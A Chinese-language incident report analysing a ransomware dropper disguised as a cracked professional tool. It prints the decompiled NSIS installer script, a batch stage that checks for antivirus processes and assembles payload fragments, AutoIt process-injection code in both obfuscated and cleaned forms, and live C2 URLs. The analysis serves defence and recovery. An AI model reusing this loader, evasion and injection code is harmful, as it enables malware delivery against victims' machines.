1.背景

1.1 客户被锁机及盗号情况

在2024年8月17日，某客户联系上我们，称其重要的电脑系统被勒索加密，询问详情得知，该客户于24年8月16日下午从外网上下载了一个文件，该文件为其行业的一个专业工具的破解器（如下图的“arch1508_1324.7z”），解压运行之后电脑CPU开始飙升，磁盘读写拉满，短短半分钟内开始弹出勒索信息，

客户意识到情况不对之后，当即拔掉电源断开网线，但是再次重新进入系统也无法进入，通过PE进入系统之后，发现了勒索信txt文件，文件内容为“[30551] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @yes_u_are_hacked ”，该勒索信声称其为 CryptoBytes的黑客组织，需要通过telegram联系他们获取解密密钥。

由于客户的系统已无法正常进入，因此我们将恶意文件提取出来，在我们的模拟环境中运行，下图即为运行之后的勒索信息和加密后的屏幕界面。

最终在我们的协助下，我们成功帮助客户恢复了系统，同时对恶意文件的逆向分析发现了该恶意文件不仅仅是加密系统的行为，还有其他恶意行为，我们也都为客户一一排查清理了相关的病毒后门，本文便是对该恶意文件的详细文件，以及其释放的加密器的破解方案。

1.2 和锁机黑客的对话沟通

通过黑客留下的勒索信，关注了Telegram的频道@yes_u_are_hacked，可以看到该频道最早于2023年9月5日创建，并且频道内还留下了中、英、阿三语的勒索信息，以及大量受害者的求助留言，频道作者声称收费20美金帮助解锁被加密的电脑系统，以100美金出售该勒索软件源码。

频道中也留下提示，需要解锁联系 @Flainn1的telegram用户，在客户与该黑客的沟通谈判中还闹出了个乌龙，因为频道中有大量俄语内容，客户便以为是大毛黑客，结果是二毛……

可以看到该作者勒索20美金以USDT支付才会给解锁。既然客户寻找到了我们的帮助，那么这赎金是万万不能支付的，接下来我们将详细的分析该恶意文件的行为以及其加密器定的破解方法，无需缴纳一分钱赎金，解锁被加密的系统，赎金？给你付个🥚！

2.恶意文件基础信息

2.1 病毒基本信息

文件名: AppFile.exe

编译器:

大小: 755603531(720.60 MiB)

操作系统: Windows(2000)

架构: I386

模式: 32 位

类型: GUI

字节序: LE

MD5: 490f6e8fb98238758571d6aea92ccea4

SHA1: fb24934f5ce41901e8d138046d33f6af2d0bd2cc

SHA256: 280c852ae170716d0f6f3da8532b77b7d88f5abab084e630b0d94c4ed47e0198

文件名: DocumentsKKFCAAKFBA.exe

编译器:

大小: 285184(278.50 KiB)

操作系统: Windows(2000)

架构: I386

模式: 32 位

类型: GUI

字节序: LE

MD5：9cf14b0c62311b27ace3c25c21a722ff

SHA1：4037b8cee08d09db0fce2d485ca3a83ca3f4871a

SHA256: 6419a4d08ba5c07e14c2d75b14ea8da5f2f340d4747e498fe515685c48542b33

文件名: lc.exe

编译器:

大小: 184832(180.50 KiB)

操作系统: Windows(2000)

架构: I386

模式: 32 位

类型: GUI

字节序: LE

MD5：7924c0f21738fab05f61102c0caf3da2

SHA1：09e6fd5797381eeb9ec60d5214f2932154636247

SHA256：9b29f5a1f0b6c270c90b343f4c6d0e0843201d687068dc5273cbf5074083609f

2.2 勒索信

3.加密后文件分析

3.1威胁分析

病毒家族	CryptoBytes （乌克兰）
首次出现时间/捕获分析时间	2023-09-05/2024-08-16
威胁类型	勒索软件，锁机病毒
加密文件扩展名	无
勒索信文件名	info-0v92.txt
有无免费解密器？	无
联系邮箱	info-0v92.txt
检测名称	Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W))，Cylance（Unsafe），DeepInstinct（MALICIOUS），Emsisoft（Gen:Variant.Tedy.512515 (B)），ESET-NOD32（A Variant Of MSIL/Filecoder.LU），GData（Gen:Variant.Tedy.512515）， Ikarus （Trojan.MSIL.Crypt），K7GW（Trojan ( 0052f4e41 )）
感染症状	无法进入系统并且会将系统内部的信息进行回传、磁盘将会被锁、所有正常文件都会被修改为隐藏模式。
感染方式	受感染的电子邮件附件（宏）、恶意广告、漏洞利用、恶意链接
受灾影响	系统主题被锁，如果不支付赎金就只能通过重装系统进行恢复

4.逆向分析

4.1加密器逆向分析

AppFile.exe（恶意模块下载器）

保护分析：

发现是一个NSIS的安装器

入口分析：

通过DIE查看可以知道，该程序是一个NSIS的安装包，可以提取出安装脚本。

安装器脚本：

该脚本可以看出，就是在做文件的释放与调用CMD来执行cmd "/k move Laboratories Laboratories.cmd & Laboratories.cmd & exit";"open cmd"命令,可以看得出，主要是对Laboratories这个文件进行了一个复制并且执行的操作。

   ; NSIS script (UTF-8) NSIS-Park-1 Unicode
   ; Install
   
   Unicode true
   SetCompressor zlib
   
   ; --------------------
   ; HEADER SIZE: 26016
   ; START HEADER SIZE: 300
   ; MAX STRING LENGTH: 8196
   ; STRING CHARS: 2199
   
   OutFile [NSIS].exe
   !include WinMessages.nsh
   
   SilentInstall silent
   
   
   ; --------------------
   ; LANG TABLES: 1
   ; LANG STRINGS: 40
   
   Name Name
   BrandingText "Nullsoft Install System (Unicode) v2.46.5-Unicode"
   
   ; LANG: 1033
   LangString LSTR_0 1033 "Nullsoft Install System (Unicode) v2.46.5-Unicode"
   LangString LSTR_1 1033 "$(LSTR_2) Setup"
   LangString LSTR_2 1033 Name
   LangString LSTR_5 1033 "Can't write: "
   LangString LSTR_8 1033 "Could not find symbol: "
   LangString LSTR_9 1033 "Could not load: "
   LangString LSTR_10 1033 "Create folder: "
   LangString LSTR_17 1033 "Error decompressing data! Corrupted installer?"
   LangString LSTR_19 1033 "ExecShell: "
   LangString LSTR_21 1033 "Extract: "
   LangString LSTR_22 1033 "Extract: error writing to file "
   LangString LSTR_23 1033 "Installer corrupted: invalid opcode"
   LangString LSTR_24 1033 "No OLE for: "
   LangString LSTR_25 1033 "Output folder: "
   LangString LSTR_29 1033 "Skipped: "
   LangString LSTR_30 1033 "Copy Details To Clipboard"
   LangString LSTR_36 1033 "Unregistering: "
   LangString LSTR_37 1033 "Error opening file for writing: $r$n$r$n$0$r$n$r$nClick Abort to stop the installation,$r$nRetry to try again, or$r$nIgnore to skip this file."
   LangString LSTR_38 1033 "Registering: "
   LangString LSTR_39 1033 Custom
   
   
   InstType $(LSTR_39)    ;  Custom
   ; wininit = $WINDIRwininit.ini
   
   
   ; --------------------
   ; SECTIONS: 1
   ; COMMANDS: 169
   
   Section ; Section_0
     ; AddSize 3151
     Push r
     Pop $2
     IfErrors label_5 label_5
     Return
   
     Quit
   label_5:
     SetShellVarContext all
     IfFileExists C:Mi$2c*.* label_165
     ClearErrors
     IfErrors label_10 label_10
     CopyFiles /FILESONLY EditingAdjacent DllUnregisterServer
   label_10:
     SetOutPath $TEMP
     ReadEnvStr $6 RelyFrontier
     GetFullPathName $8 RnRatedPowellRows
     File Basename
     ReadEnvStr $R7 NotifyBibliographic
     Nop
     File Laboratories
     DeleteRegValue SHCTX "" AccomplishParadise
     IfErrors label_22 label_22
     MessageBox MB_OK BaselineIndiansToilet
     MessageBox MB_OK|MB_ICONQUESTION BowlUsedAccentContribute
     SetRegView 64
   label_22:
     File Adidas
     IfErrors label_27 label_27
     CopyFiles /FILESONLY ThingsWindow DllRegisterServer
     Return
   
     CopyFiles /FILESONLY AcceptEmerald DllUnregisterServer
   label_27:
     IfRebootFlag label_30 label_30
     Exch
     CopyFiles /FILESONLY PittsburghIts DllRegisterServer
   label_30:
     File Values
     IfFileExists AmongstGayMuzeToxic label_33 label_33
     MessageBox MB_OKCANCEL PagesHopefullyDemonstratedPragueTreatmentsVentures
   label_33:
     Nop
     File Warming
     Nop
     DeleteRegValue SHCTX "" NanoSh
     File Pale
     ClearErrors
     IfErrors label_41 label_41
     CopyFiles /FILESONLY NeedleWaves DllUnregisterServer
   label_41:
     File Might
     IfErrors label_46 label_46
     CopyFiles /FILESONLY MaiRule DllRegisterServer
     CreateDirectory ShemaleArrange
     Abort PokemonClaire
   label_46:
     GetCurrentAddress $R6 ; StrCpy $R6 47
     File Ted
     ClearErrors
     GetCurrentAddress $7 ; StrCpy $7 50
     File Alien
     ClearErrors
     IfFileExists ZeroVehiclesLibraryRacksJet label_55 label_55
     Sleep 8031
     CopyFiles /FILESONLY BarTelevision DllRegisterServer
   label_55:
     File Newsletters
     Push "Challenging "
     GetTempFileName $6 WyUsbFinances
     File Thereby
     IfAbort label_63 label_63
     Sleep 7536
     Exch
     Quit
   label_63:
     ClearErrors
     File Writer
     GetErrorLevel $9
     GetCurrentAddress $R5 ; StrCpy $R5 67
     File Clothing
     GetFullPathName $R6 LizProperBen
     GetErrorLevel $R5
     File Buildings
     ClearErrors
     GetCurrentAddress $7 ; StrCpy $7 73
     File Nos
     IfErrors label_78 label_78
     MessageBox MB_ABORTRETRYIGNORE ConditionsFrontHeraldJuneShop
     CreateDirectory LatviaCaroline
     Exch
   label_78:
     IfAbort label_82 label_82
     SetOutPath CapabilitySudan
     CopyFiles /FILESONLY SalariesCoalition DllUnregisterServer
     Sleep 7131
   label_82:
     File Boy
     GetFullPathName $9 SubsidiariesOpponent
     Push 81631803
     File Slim
     Pop $R9
     ClearErrors
     File Affect
     Goto label_93
     DeleteRegKey 0x33F NeedleExotic VolvoGrocery
     CopyFiles /FILESONLY McdonaldConsists DllUnregisterServer
     CopyFiles /FILESONLY ConsultExamined DllUnregisterServer
   label_93:
     IntOp $R8 $8 >> 249
     File Trim
     GetFullPathName $R5 ForumsExpansionTheseTemporarilyWhileAspects
     DeleteRegValue SHCTX "" QuotedReference
     File Listen
     IfAbort label_100 label_100
     SetOutPath ProceedingsSome
   label_100:
     Push "Spell Preliminary Dash Towards "
     File Nascar
     IfRebootFlag label_105 label_105
     Exch
     CopyFiles /FILESONLY WebmastersMarie DllUnregisterServer
   label_105:
     GetErrorLevel $R9
     File Impressive
     GetErrorLevel $7
     IfAbort label_112 label_112
     Exch
     CreateDirectory FantasticRenew
     DeleteRegKey 0x454 PermalinkBeats ThumbzillaHolocaust
   label_112:
     File Highlighted
     SetErrors
     IfFileExists PikeWendy label_118 label_118
     CreateDirectory TeachesSwift
     Exch
     Sleep 617
   label_118:
     File Spoken
     GetTempFileName $9 PersonalEditedReprints
     Nop
     File Centered
     GetTempFileName $R9 GradesUtc
     IfFileExists WellnessKoreanBetter label_127 label_127
     SetRegView 32
     CopyFiles /FILESONLY SharkTrigger DllRegisterServer
     SetOutPath AppsMuseum
   label_127:
     File Prostores
     ReadEnvStr $8 EarningsHole
     DeleteRegValue SHCTX "" ReadyCg
     File Monte
     GetFullPathName $R5 ArtisticRegular
     GetTempFileName $7 KongTraining
     File Southeast
     IntOp $R8 212 - 910
     GetTempFileName $R8 GigLuxuryGradeStaying
     File Layer
     Nop
     ClearErrors
     File Field
     GetFullPathName $8 PoolsInstantlyCharitable
     IfRebootFlag label_143 label_143
     Quit
   label_143:
     File Commons
     IfFileExists StupidArgumentsSuitesEmirates label_147 label_147
     Quit
     SetRegView 64
   label_147:
     Goto label_151
     Abort EffectivenessImpressive
     ReadINIStr $_195948525_ "" "" ""
     Quit
   label_151:
     File Ez
     IfRebootFlag label_156 label_156
     MessageBox MB_OK|MB_RIGHT EngagementLensCabinLitigation
     ReadINIStr $_195948525_ "" "" ""
     Quit
   label_156:
     Push .
     Pop $3
     SetShellVarContext current
     Push e
     Pop $4
     ClearErrors
     Pop $7
     ExecShell open cmd "/k mov$4 Laboratories Laboratories$3cmd & Laboratories$3cmd & exit"    ; "open cmd"
     Push 10773218
   label_165:
     DeleteRegValue SHCTX "" TreatingHomeland
     Sleep 7098
     GetCurrentAddress $R6 ; StrCpy $R6 168
   SectionEnd
   
   
   
   ; --------------------
   ; UNREFERENCED STRINGS:
   
   /*
   1 ProgramFilesDir
   17 "C:Program Files"
   34 $PROGRAMFILES
   37 CommonFilesDir
   52 "$PROGRAMFILESCommon Files"
   68 $COMMONFILES
   204 MattersMain
   438 LegitimateEminem
   816 TireApproaches
   831 ChequeJapan
   958 BlastAssured
   1091 WorkstationAdobe
   1108 MysimonMetallic
   1317 MediterraneanIso
   1645 UvAtlas
   */

分析Laboratories文件(内容过多，只截取部分)：

   Set Prescription=/
   pNUhObserve Nvidia Teens Ages Described Joining Synopsis 
   DbwxGames Staffing Lol Weblogs Cook Colon Microwave Transition Earning 
   IjlNine Corruption Illness Events 
   rXSpas Crisis Carried 
   xDRetreat 
   rqUdConducted Cope Maximize 
   Set Readings=J
   swkOCf 
   JuSwift Events 
   tqSpecializing Tickets Sales 
   UBFFExamination Affairs Doctrine 
   jNGage Bryant Videos Sensitivity 
   ahhfOriented Specializing Concept Private 
   kdTzVaried Providing United Several Hugo Organizing 
   LuqThousand Furnished Indoor Useful Tim Cards Corpus 
   nHPresidential Mattress Thomson Roland Hart 
   Set Madonna= 
   XiSuPioneer Community Charlie Fridge Fred 
   BufIIntimate Regulations Residents Voyeur Benefits Bridal Mix 
   qcqxPick Crops Advancement Dot False Assignment Lunch Annie Died 
   gLZRPolished Bloom Handed Greetings Taiwan Cleanup Enquiries Planet Saskatchewan 
   KRDBooth Ascii Pdas Segment Der Property Cents Scientists Displayed 
   jiJlJean Democrat Boss Dodge Operating Cr Tool 
   GAForm Me Debut Saying Orlando Da Warning 
   Set Background=G
   GWMiTerminals Specs Obligation Chronicles Regular Jail Billing Timer 
   jFUrls Republicans Consolidated Annually Allen Economy 
   sECCircle Across Coal Officials Associated 
   SdzuExtends Axis Hair Interactions Romantic Distinction Dist Paxil 
   BwIwVernon Ta Neural 
   Set Pakistan=V
   lsabMiniature Struck 
   ebD Humanitarian Buildings Holding Byte Palmer Miniature Linear Delhi 
   XGCalculators Filename Cents Elsewhere Bound Weak Dg Portfolio Carries 
   FZVelvet Essential Continued Hat Darwin Navigator Jail 
   PjVSoccer Define Alone Buf Ww Quizzes Display Pure Heating 
   PcTsunami Beastality Continues Developed Benchmark Blake 
   Set Lenders=y
   JhdStd Flip Chances Fax Existence Brand Defining Greece 
   MkCeramic Occur Fingering Dude Enforcement Oracle 
   OSfDont Foam Queensland Capture Grip 
   cCOCinema Surfaces Tower Michel Bang Absolutely Prix Compatible 
   HaPrev Va Js Citizens Changes Boxing Athletic Reseller Mailto 
   CRTZWheel Squirt Trip Super Compact Indie 
   ZMvLOperators Shipment Negotiations 
   Set Postal=A
   fIPediatric Dear Exhibition Entrance Keeps Agent Diverse 
   drBike Griffin Race Fetish Democratic Sake Clocks 
   WXMHuge Technologies Ignored Usgs Uruguay Energy Template 
   EdRdNissan Metallic Printing Horror Kernel Shaved 
   zwuBenjamin Diary Imagine 
   ZNLQLearners Testament Hobby Arc Bars Explaining Syria Identifies Ghz 
   ODRecreation Pantyhose Creation Jacksonville 
   biFormer Guitars Resort 
   Set Correct=R
   SqKQAgo Heat Bm Pushed Cases Partnerships 
   oWZTube Floyd Pilot Produces Liver Sequences Phys Lifetime Pharmaceutical 
   IFKenya Places 
   kHqvEar Composed Mambo Widescreen Ou Ts Baseball 
   NgksJ Gui Marketing Chelsea 
   rsCir Entry 
   QXkShadows Bulgaria Logic Training Medication 
   HoRaces Textile 
   EJUqDk Romance Adrian Dns 
   rnBehalf Led Burner Tape College Class Podcasts Properties Nr 
   Set Al=i
   fOtRHighways Ibm Downloaded 
   NmEnterprises Tunes Mask 
   llApprox Arizona Voted Invision Scotia 
   gXCCms Weighted 
   hjuPremier Completing Analyst Syndication Painted 
   NdSuites 
   jGmHard Lies Museum Propose Filme 
   fdIowa Tattoo Aspect Advantage Schedules Speaking Worship Association Sensitive 
   Set Arthritis=t
   oHStrategies Conservation Catering Ruth 
   LKWPoints Mining Centuries Poster Manually Scan Comparable 
   TtcCattle Reproduction Manchester Combine Synthesis Liechtenstein Indicators 
   ZnjCollection Steven Change Clock Lil Perfect Deals Risks 
   sskJLinux Adjusted Suspected 
   irPermalink Push Incorrect 
   FOlGale Religion Continental 
   Set Expressed=n
   JHqCultural Stud Parking Shore Sie Harrison Exists Keep 
   ZvJExtended Clause Pensions List Carry Proper Ministries Transport 
   wADETextiles Hong 
   RzSkCreations Municipal Stan Threats Angela Driven Bra Correction Content 
   JSToWorkshop Medicaid Ultra Increasing Voices Fiscal 
   ujkhAtom Ronald Clone Asia 
   Set Spain=s
   XrJPig Ee Shipment 
   RJUDistrict Received Shows Shot Douglas Inclusive Header 
   DxNon Plates Roommates Static Apply 
   wNSIrish Couples 
   ddhCharles Prairie 
   vaAqDetermined Virgin Thereby Nuts Holdings Growth Somewhere 
   FrDImproved Ribbon Ct Seven Tulsa Anna Loving Seller Lifestyle 
   mXDictionaries Brazilian

发现存在大量的混淆，这里去掉以后，可以看到一个完整的脚本，可以发现，该脚本开头主要实现设置rwUvTfWQtZfcV9tBZFV环境变量的值为Quotations.pif，其次就是实现对释放文件的拼接，将其拼接为rwUvTfWQtZfcV9tBZFV 和resJUby两个文件

文件名	作用
rwUvTfWQtZfcV9tBZFV	AutoIt脚本执行程序
resJUby	AutoIt脚本

还有对系统进程的检测，目的是为了判断系统中是否存在杀软等保护软件，主要通过判断是否存在如下进程：

如果进程中存在wrsa.exe opssvc.exe则ping 127.0.0.1这个地址185次，相当于是延迟程序执行一段时间

如果进程中存在avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe就是会设置环境rwUvTfWQtZfcV9tBZFV变量的值为AutoIt3.exe和esJUby变量值为.a3x。

最后就是执行拼接的文件start /I rwUvTfWQtZfcV9tBZFV resJUby，相当于是执行Autoit脚本。

   Set rwUvTfWQtZfcV9tBZFV=Quotations.pif
   Set esJUby= 
   tasklist | findstr /I "wrsa.exe opssvc.exe" & if not errorlevel 1 ping -n 185 127.0.0.1
   Set /a Mc=736775
   tasklist | findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe" & if not errorlevel 1 Set rwUvTfWQtZfcV9tBZFV=AutoIt3.exe & Set esJUby=.a3x
   cmd /c md Mc
   findstr /V "sqpaxilclaimsml" Alien > McrwUvTfWQtZfcV9tBZFV
   copy /b McrwUvTfWQtZfcV9tBZFV + Ez McrwUvTfWQtZfcV9tBZFV
   cd Mc
   cmd /c copy /b ..Writer + ..Newsletters + ..Slim + ..Listen + ..Impressive + ..Centered + ..Nos + ..Adidas + ..Trim + ..Affect + ..Basename + ..Highlighted + ..Prostores + ..Ted + ..Thereby + ..Values + ..Spoken + ..Might + ..Southeast + ..Field + ..Pale + ..Clothing + ..Boy + ..Layer + ..Buildings + ..Monte + ..Commons + ..Warming + ..Nascar resJUby
   start /I rwUvTfWQtZfcV9tBZFV resJUby
   choice /d y /t 5

这里将AutoIt脚本文件中的脚本提取出来后，发现存在大量的混淆(因为代码太长，这里只展示部分代码)：

   Func COMMITSOMALIA($hrsinvestigationtheir, $compensationdesktoptrademarkphpbb = "", $verizonactressresistant = "", $proteinsidesbodiesfrancisco = 0x0)
       While 0x2ef
           $cabintestimonypanama = 0x811b
           Switch $cabintestimonypanama
               Case 0x811a
                   Chr(0xe5b)
                   PixelGetColor(REFUSEPARA("74d92d73d80d74d71d82d76d93d80d85d71d87d76d89d80d86d75d71d79d76d72d75d76d89d71", 0x7 + 0x0), REFUSEPARA("74d92d73d80d74d71d82d76d93d80d85d71d87d76d89d80d86d75d71d79d76d72d75d76d89d71", 0x7 + 0x0))
                   Floor(0x76)
                   MemGetStats()
                   $cabintestimonypanama = $cabintestimonypanama + 0x384ee / 0x384ee
               Case 0x811b
                   Local $framingremedyadoptionspelling = DllStructCreate(REFUSEPARA("105d128d123d108d98", 0x9 + 0xfffffffe) & Call(REFUSEPARA("72d111d116d103d120d127d82d107d116", 0x9 + 0xfffffffd), $hrsinvestigationtheir) & REFUSEPARA("102", 0xf + 0xfffffffa))
                   ExitLoop
               Case 0x811c
                   Cos(0x1d79)
                   Floor(0x24d)
                   Ceiling(0x2348)
                   PixelGetColor(REFUSEPARA("87d100d117d106d104d119d104d103d46d80d103d46", 0x5 + 0xfffffffe), REFUSEPARA("87d100d117d106d104d119d104d103d46d80d103d46", 0x5 + 0xfffffffe))
                   ProgressOff()
                   ObjGet(REFUSEPARA("76d103d116d116d123d63d82d99d123d111d103d112d118d63", 0x2 + 0x0))
                   $cabintestimonypanama = $cabintestimonypanama + 0xf2a4d / 0xf2a4d
           EndSwitch
       WEnd
       While 0x14d
           $xboxvt = 0x6d93
           Switch $xboxvt
               Case 0x6d92
                   IsDeclared(REFUSEPARA("67d66d83d84d33d33d33d33d66d84d84d86d78d70d69d33d33d33d33", 0x1 + 0x0))
                   IsDeclared(REFUSEPARA("77d74d80d79d84d34d67d66d83d79d34d73d70d77d70d79d66d34", 0x1 + 0x0))
                   PixelGetColor(REFUSEPARA("86d87d85d72d81d74d87d75d72d81d64d70d68d86d68d64", 0x3 + 0x0), REFUSEPARA("86d87d85d72d81d74d87d75d72d81d64d70d68d86d68d64", 0x3 + 0x0))
                   Cos(0x157f)
                   MemGetStats()
                   Ceiling(0x17ef)
                   $xboxvt = $xboxvt + 0x89c9f / 0x89c9f
               Case 0x6d93
                   DllStructSetData($framingremedyadoptionspelling, 0x1, $hrsinvestigationtheir)
                   ExitLoop
               Case 0x6d94
                   PixelGetColor(REFUSEPARA("69d103d110d103d100d116d99d118d107d113d112d34d71d122d101d110d119d117d107d120d103d110d123d34d86d113d113d34d90d110d34", 0x2 + 0x0), REFUSEPARA("69d103d110d103d100d116d99d118d107d113d112d34d71d122d101d110d119d117d107d120d103d110d123d34d86d113d113d34d90d110d34", 0x2 + 0x0))
                   Log(0x17c8)
                   DirGetSize(REFUSEPARA("82d123d108d103d104d50d83d114d122d104d117d118d104d111d111d104d117d50d81d108d102d100d117d100d106d120d100d50", 0x4 + 0xffffffff))
                   IsDeclared(REFUSEPARA("103d104d120d103d110d103d115d38d122d120d123d107d38d120d107d119d123d107d121d122d121d38", 0x6 + 0x0))
                   Floor(0x1d9)
                   ObjGet(REFUSEPARA("73d85d83d83d85d84d89d39", 0x9 + 0xfffffffd))
                   PixelGetColor(REFUSEPARA("104d122d120d121d116d114d120d52d111d116d122d119d115d102d113d110d120d121d52d120d104d109d116d113d102d119d52", 0x7 + 0xfffffffe), REFUSEPARA("104d122d120d121d116d114d120d52d111d116d122d119d115d102d113d110d120d121d52d120d104d109d116d113d102d119d52", 0x7 + 0xfffffffe))
                   Log(0x1d37)
                   $xboxvt = $xboxvt + 0x3e09e / 0x3e09e
           EndSwitch
       WEnd
       While 0xf
           $toldaustraliaamplifierbetween = 0x12f70
           Switch $toldaustraliaamplifierbetween
               Case 0x12f6f
                   Chr(0x5b9)
                   ProgressOff()
                   MemGetStats()
                   DirGetSize(REFUSEPARA("89d106d108d73d91d110d111d120d123d118d124d73", 0x9 + 0x0))
                   ObjGet(REFUSEPARA("68d71d91d81d80d70d49d82d71d67d84d78d49d69d75d81d49d85d69d81d86d78d67d80d70d49", 0x2 + 0x0))
                   DirGetSize(REFUSEPARA("112d117d123d108d117d107d108d107d39d39d39d39d121d118d124d123d112d117d108d122d39d39d39d39d112d117d123d108d121d112d116d39d39d39d39", 0xa + 0xfffffffd))
                   IsDeclared(REFUSEPARA("107d126d118d114d117d121d111d117d116d41", 0x7 + 0xffffffff))
                   Chr(0x18b5)
                   $toldaustraliaamplifierbetween = $toldaustraliaamplifierbetween + 0xd5b2e / 0xd5b2e
               Case 0x12f70
                   Local $tbperformance = DllStructGetPtr($framingremedyadoptionspelling)
                   ExitLoop
               Case 0x12f71
                   MemGetStats()
                   Log(0x940)
                   Chr(0xb3)
                   IsDeclared(REFUSEPARA("86d113d121d112d66", 0x3 + 0xffffffff))
                   Floor(0x23d)
                   Log(0x2044)
                   $toldaustraliaamplifierbetween = $toldaustraliaamplifierbetween + 0x2857e / 0x2857e
           EndSwitch
       WEnd
       $craftstrademarksthanksgiving =

通过对其进行反混淆以后，可以恢复出该脚本的原始代码(篇幅过长，只展示部分)：

发现该脚本主要对携带的二进制数据做了解密，然后进程注入的操作，直接提取样本即可。

   Func COMMITSOMALIA($hrsinvestigationtheir, $compensationdesktoptrademarkphpbb = "", $verizonactressresistant = "", $proteinsidesbodiesfrancisco = 0x0)
       Local $framingremedyadoptionspelling = DllStructCreate("byte[" & Call("BinaryLen", $hrsinvestigationtheir) & "]")
       DllStructSetData($framingremedyadoptionspelling, 0x1, $hrsinvestigationtheir)
       Local $tbperformance = DllStructGetPtr($framingremedyadoptionspelling)
       $craftstrademarksthanksgiving = "dword  cbSize; ptr Reserved; ptr Desktop; ptr Title; dword X; dword Y; dword XSize; dword YSize; dword XCountChars; dword YCountChars; "
       $borderserverlargesusan = "dword FillAttribute; dword Flags; word ShowWindow; word Reserved2; ptr Reserved2; ptr hStdInput; ptr hStdOutput; ptr hStdError"
       Local $defensiveblinkcommissiondraws = DllStructCreate("STRUCT; " & $craftstrademarksthanksgiving & $borderserverlargesusan & "; ENDSTRUCT; ptr AttributeList")
       Local $likelihoodattendedball = DllStructCreate("ptr Process; ptr Thread; dword ProcessId; dword ThreadId")
       Local $housingwaitbowl = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", 0x2000000, "bool", False, "dword", ProcessExists("explorer.exe"))[0x0]
       $strikestopic = DllStructCreate("handle ExplorerHandle;")
       DllStructSetData($strikestopic, "ExplorerHandle", $housingwaitbowl)
       $gradeshenablingprobe = DllCall("kernel32.dll", "bool", "InitializeProcThreadAttributeList", "ptr", NULL, "dword", 0x1, "dword", 0x0, "dword*", 0x0)[0x4]
       $ensuressomewhatware = DllCall("kernel32.dll", "ptr", "HeapAlloc", "hWnd", DllCall("Kernel32.dll", "hWnd", "GetProcessHeap")[0x0], "dword", 0x0, "dword", $gradeshenablingprobe)[0x0]
       DllStructSetData($defensiveblinkcommissiondraws, "AttributeList", $ensuressomewhatware)
       DllStructSetData($defensiveblinkcommissiondraws, "cbSize", DllStructGetSize($defensiveblinkcommissiondraws))
       $partnershipspecialized = 0x8080004
       If ProcessExists("avp.exe") Then $partnershipspecialized = 0x8000004
       $housingwaitbowl = DllCall("kernel32.dll", "bool", "CreateProcessW", "wstr", NULL, "wstr", $verizonactressresistant & " " & $compensationdesktoptrademarkphpbb, "ptr", 0x0, "ptr", 0x0, "int", 0x0, "dword", $partnershipspecialized, "ptr", 0x0, "ptr", 0x0, "ptr", DllStructGetPtr($defensiveblinkcommissiondraws), "ptr", DllStructGetPtr($likelihoodattendedball))
       Local $doctorprintingseason = JACOBCAMEDECEMBERDESCRIPTION($likelihoodattendedball, "Process")
       Local $stampfreedomnam = JACOBCAMEDECEMBERDESCRIPTION($likelihoodattendedball, "Thread")
       Local $hzassetwired = JACOBCAMEDECEMBERDESCRIPTION($likelihoodattendedball, "ProcessId")
       Local $headlinesflag, $countusernamepackedparticipants, $troutperfumethrowscircle
       $troutperfumethrowscircle = Execute("@AutoItX64")
       If $troutperfumethrowscircle Then
           $headlinesflag = 0x2
           $countusernamepackedparticipantspart1 = "align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home; dword ContextFlags; dword MxCsr; word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags; uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7; uint64 Rax; uint64 Rcx; uint64 Rdx; "
           $countusernamepackedparticipantspart2 = "uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15; uint64 Rip; uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; "
           $countusernamepackedparticipantspart3 = "uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2]; uint64 VectorRegister[52]; uint64 VectorControl; uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip"
           $countusernamepackedparticipants = DllStructCreate($countusernamepackedparticipantspart1 & $countusernamepackedparticipantspart2 & $countusernamepackedparticipantspart3)
       Else
           $headlinesflag = 0x1
           $countusernamepackedparticipantspart4 = "dword ContextFlags; dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7; dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; "
           $countusernamepackedparticipantspart5 = "byte RegisterArea[80]; dword Cr0NpxState; dword SegGs; dword SegFs; dword SegEs; dword SegDs; dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax; dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs; byte ExtendedRegisters[512]"
           $countusernamepackedparticipants = DllStructCreate($countusernamepackedparticipantspart4 & $countusernamepackedparticipantspart5)
       EndIf

下载器本体：

sub_7FF7DDCF50A0函数可以看到具体的请求内容：

请求的地址为：

http://193.233.232.86/api/crazyfish.php

http://147.45.47.57/api/crazyfish.php

可以发现，若是请求为200，且内容为fish15则继续

因为这里发现该IP被关了，这里可以参考一下沙箱的内容，继续分析。

这里可以看到后续会加载很多的恶意攻击模块

几乎所有的攻击模块都是.Net写的，加载方式几乎都是如下这种内存Payload注入的加载方式，其中里面的Payload都是加密的，可以看到程序内部的Payload会先经过ReadComponentType函数进行解密，之后调用了VirtualProtect修改了内存的权限，然后继续解密，加载Payload。

DocumentsKKFCAAKFBA.exe（后门程序）

保护分析：

发现加了Reactor的壳，这里直接脱掉分析。

